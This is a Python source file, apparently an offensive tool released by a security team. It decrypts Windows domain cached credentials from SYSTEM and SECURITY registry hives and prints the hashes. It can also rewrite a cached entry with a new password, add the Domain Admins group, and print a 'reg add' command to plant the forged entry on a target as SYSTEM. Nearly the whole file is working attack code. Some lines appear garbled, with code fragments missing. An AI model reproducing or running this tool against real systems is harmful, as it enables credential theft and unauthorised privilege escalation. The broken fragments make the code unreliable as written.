# encoding: utf-8 # author: n1nty @ 360 A-TEAM # date: 2018-08-21 from impacket.examples.secretsdump import NL_RECORD, LocalOperations, LSASecrets from struct import unpack, pack from Crypto.Cipher import AES import hashlib import hmac from passlib.hash import msdcc2 from datetime import datetime from pathlib import Path, PureWindowsPath def take(s, sz, skip=-1): v = s[:sz] skip = sz if skip == -1 else skip return s[skip:], v def pad(data): if (data & 0x3) > 0: return data + (data & 0x3) else: return data def decrypt(cipher, key, iv): szData = len(cipher) aes = AES.new(key, AES.MODE_CBC, iv) nbBlock = (szData + 15) >> 4 lastLen = (szData & 0xf) if (szData & 0xf) else 16 plaintext = aes.decrypt(cipher[:16 * (nbBlock - 2)]) buffer = cipher[16 * (nbBlock - 2):] padding_count = 32 - len(buffer) buffer += padding_count * b'\x00' buffer = list(buffer) aes_noiv = AES.new(key, AES.MODE_CBC, iv=b'\x00' * 16) tmp = aes_noiv.decrypt(bytes(buffer[:16])) for i in range(16): buffer[i] = tmp[i] ^ buffer[i + 16] buffer[lastLen + 16: 32] = buffer[lastLen: 16] a = bytes(buffer[16:]) plaintext += aes.decrypt(a) plaintext += bytes(buffer[:lastLen]) return plaintext def encrypt(plaintext, key, iv): szData = len(plaintext) nbBlock = (szData + 15) >> 4 lastLen = (szData & 0xf) if (szData & 0xf) else 16 aes = AES.new(key, AES.MODE_CBC, iv) cipher = aes.encrypt(plaintext[:16 * (nbBlock - 2)]) buffer = plaintext[16 * (nbBlock - 2):] padding_count = 32 - len(buffer) buffer += padding_count * b'\x00' buffer = aes.encrypt(buffer) cipher += buffer[16:32] cipher += buffer[:lastLen] return cipher def filetime_to_dt(ft): EPOCH_AS_FILETIME = 116444736000000000 # January 1, 1970 as MS file time HUNDREDS_OF_NANOSECONDS = 10000000 return datetime.utcfromtimestamp((ft - EPOCH_AS_FILETIME) / HUNDREDS_OF_NANOSECONDS) class Group: def __init__(self, relative_id, attributes): self.relative_id = relative_id self.attributes = attributes def encode(self): return pack('', 513: '513', 519: '519' }.get(self.relative_id, str(self.relative_id)) class EncData: def __init__(self, nl, nklm, valuename): self.valuename = valuename self._nl = nl self._nklm = nklm self._data = data = decrypt(nl['EncryptedData'], nklm[16:32], nl['IV']) data, self.mshashdata = take(data, 16) data, self.unkhash = take(data, 16) data, self.unk0 = take(data, 4) data, self.szSC = take(data, 4) data, self.unkLength = take(data, 4) data, self.unk2 = take(data, 4) data, self.unk3 = take(data, 4) data, self.unk4 = take(data, 4) data, self.unk5 = take(data, 4) data, self.unk6 = take(data, 4) data, self.unk7 = take(data, 4) data, self.unk8 = take(data, 4) data, self.username = take(data, nl['UserLength'], pad(nl['UserLength'])) self.username = self.username.decode('utf-16le') data, self.domain = take(data, nl['DomainNameLength'], pad(nl['DomainNameLength'])) self.domain = self.domain.decode('utf-16le') data, self.dns_domainname = take(data, nl['DnsDomainNameLength'], pad(nl['DnsDomainNameLength'])) self.dns_domainname = self.dns_domainname.decode('utf-16le') data, self.upn = take(data, nl['UPN'], pad(nl['UPN'])) self.upn = self.upn.decode('utf-16le') data, self.effective_name = take(data, nl['EffectiveNameLength'], pad(nl['EffectiveNameLength'])) self.effective_name = self.effective_name.decode('utf-16le') data, self.fullname = take(data, nl['FullNameLength'], pad(nl['FullNameLength'])) self.fullname = self.fullname.decode('utf-16le') data, self.logonscript_name = take(data, nl['LogonScriptName'], pad(nl['LogonScriptName'])) self.logonscript_name = self.logonscript_name.decode('utf-16le') data, self.profilepath = take(data, nl['ProfilePathLength'], pad(nl['ProfilePathLength'])) self.profilepath = self.profilepath.decode('utf-16le') data, self.home = take(data, nl['HomeDirectoryLength'], pad(nl['HomeDirectoryLength'])) self.home = self.home.decode('utf-16le') data, self.home_drive = take(data, nl['HomeDirectoryDriveLength'], pad(nl['HomeDirectoryDriveLength'])) self.home_drive = self.home_drive.decode('utf-16le') self.groups = [] for i in range(self._nl['GroupCount']): data, rid = take(data, 4, pad(4)) rid = unpack(' domain groups: {', '.join(map(str, self.groups))} mscache hash: {self.mshashdata.hex()} domain: {self.domain}, {self.dns_domainname} effective name: {self.effective_name} full name: {self.fullname} logon script: {self.logonscript_name} profile path: {self.profilepath} home: {self.home} home drive: {self.home_drive} checksum: {self._nl['CH'].hex()} IV: {self._nl['IV'].hex()} ''' return ss def setpassword(self, password): hash = msdcc2.hash(password, self.username) self.mshashdata = bytes.fromhex(hash) def encode(self): d = b'' for v in [self.mshashdata, self.unkhash, self.unk0, self.szSC, self.unkLength, self.unk2, self.unk3, self.unk4, self.unk5, self.unk6, self.unk7, self.unk8]: v, l = self.pack_pad(v, unicodestr=False) d += v for v, lengthField in zip([ self.username, self.domain, self.dns_domainname, self.upn, self.effective_name, self.fullname, self.logonscript_name, self.profilepath, self.home, self.home_drive], [ 'UserLength', 'DomainNameLength', 'DnsDomainNameLength', 'UPN', 'EffectiveNameLength', 'FullNameLength', 'LogonScriptName', 'ProfilePathLength', 'HomeDirectoryLength', 'HomeDirectoryDriveLength' ]): v, l = self.pack_pad(v) self._nl[lengthField] = l d += v self._nl['GroupCount'] = len(self.groups) for group in self.groups: d += group.encode() v, l = self.pack_pad(self.logon_domainname) d += v self._nl['logonDomainNameLength'] = l d += self.unk_rest return d def dump(self): encoded = self.encode() self._nl['CH'] = self.sign(encoded) self._nl['EncryptedData'] = encrypt(encoded, self._nklm[16:32], self._nl['IV']) return self._nl.getData() def sign(self, data): return hmac.new(self._nklm[16:32], data, hashlib.sha1).digest()[:16] def pack(self): pass def pack_pad(self, s, unicodestr=True): if unicodestr: s = s.encode('utf-16le') length = len(s) padded_len = pad(length) return s.ljust(padded_len, b'\x00'), length class Secrets(LSASecrets): def __init__(self, security_hive, bootkey): LSASecrets.__init__(self, security_hive, bootkey) self.credentials = [] def prepare(self): # Let's first see if there are cached entries if not self.credentials: values = self.enumValues('\\Cache') if values is None: print('no cached credentials') return try: # Remove unnecessary value values.remove(b'NL$Control') except: pass self._LSASecrets__getLSASecretKey() self._LSASecrets__getNLKMSecret() for value in values: nl = NL_RECORD(self.getValue(PureWindowsPath('\\Cache') / value.decode('UTF-8'))[1]) if nl['IV'] != '\x00' *16: en = EncData(nl, self._LSASecrets__NKLMKey, value) self.credentials.append(en) def dump(self): self.prepare() print('dumping domain cached credentials') for cre in self.credentials: print(cre.format()) def patch(self, user, password): self.prepare() for cre in self.credentials: if cre.username == user: cre.setpassword(password) if not cre.is_domainadmin(): cre.add_group(relative_id=512) print(cre.format()) print(f'''execute as SYSTEM on target: reg add "HKEY_LOCAL_MACHINE\\SECURITY\\Cache" /v "{cre.valuename.decode('UTF-8')}" /t REG_BINARY /d {cre.dump().hex()} /f user being patched: {user} * this user will no longer be able to logon when there is no contact with DC. When there is, this user can logon without problems logon information: username: {cre.domain}\{cre.username} password: {password} * you can logon with credential above when there is !!!no contact with DC!!!. When there is, you can't do that ''') break else: print('not able to patch, there is no cached credential for', user) self.dump() if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(add_help=True, description="A small tool by n1nty @ 360 A-TEAM to play around with windows domain cached credentials, mainly based on the work of mimikatz and impacket. Works for post-Vista systems.") parser.add_argument('--system', required=True, type=Path, help='SYSTEM registry hive to parse') parser.add_argument('--security', required=True, type=Path, help='SECURITY registry hive to parse') parser.add_argument('--user', type=str, help='The user to patch') parser.add_argument('--password', type=str, help='New password for the selected user') args = parser.parse_args() if args.user and not args.password or args.password and not args.user: print("For patching, both --user and --password are needed") exit(1) # Parse the hives localOperations = LocalOperations(args.system) bootKey = localOperations.getBootKey() secrets = Secrets(args.security, bootKey) if args.user: secrets.patch(args.user, args.password) else: secrets.dump()